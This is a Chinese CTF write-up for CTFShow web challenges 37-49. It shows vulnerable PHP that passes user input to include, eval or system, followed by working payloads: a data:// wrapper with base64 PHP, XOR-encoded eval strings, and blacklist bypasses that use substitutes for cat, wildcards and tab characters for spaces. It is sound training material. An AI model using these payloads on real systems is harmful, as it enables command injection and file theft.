CTFShow-Web入門-命令執行 37-49
data://
用法:data://text/plain;base64,
web37
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgKicpOw==
web38
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); }
payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgKicpOw==
web39
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); }
payload:?c=data://text/plain,<?php system('cat *');?>
web40
if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
這道題和 GXZCTF 的 禁止套娃 類似,同時payload也可以套用
payload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
web41
if(isset($_POST['c'])){ $c = $_POST['c']; if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ eval("echo($c);"); } }else{ highlight_file(__FILE__); } ?>
自己沒做出來,查了好久找到個wp,
先放個 payload:
c=' ');('%60%60%60%60%60%60'|'%13%19%13%14%05%0d')(('%03%01%14'|'%60%60%60').' *');// system('cat *')
web42
if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__); }
我們可以 註釋符#(%23) 來代替
①payload1:?c=cat fl*;
②payload2:?c=cat fl* %23
web43
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
cat 被過濾 ,檢視一下其他的一些檢視檔案內容的命令
cat 由第一行開始顯示檔案內容
tac 從最後一行開始顯示,可以看出 tac 是 cat 的倒著寫
more 一頁一頁的顯示檔案內容
less 與 more 類似,但是比 more 更好的是,他可以往前翻頁
head 只看頭幾行
tail 只看尾巴幾行
nl 顯示的時候,順道輸出 行號
od 以二進位制的方式讀取檔案內容
awk 樣式掃描和處理檔案
另外 分號被過濾 (可是使用 註釋符# 或者 管道符 ||)
①使用 cat 以外的命令
payload1:?c=tac f*||
②使用 cat 命令
payload2:?c=c"a"t f*||
web44
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/;|cat|flag/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
payload 同 43
web45
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| /i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
空格 被過濾了
空格繞過
> < <> 重定向符 %09(需要php環境) ${IFS} $IFS$9 {cat,flag.php} //用逗號實現了空格功能 %20 %09
payload1:?c=tac%09f*%09||
web46
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
過濾了 $ (如果前面用 ${IFS} 的話這裡就不行了)同時過濾了 *
① * 可以用 ? 來繞過
payload1:?c=tac%09fla??php%09||
payload2:?c=awk%09'/f/'%09fla?.php||
web47
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
過濾了幾個 檔案讀取命令 ,但是我們的還能用
payload 同 46
web48
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
沒過濾 tac ,還能用
payload 同 46
web49
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
過濾了 百分號 ,對我們的影響不大
payload 同 46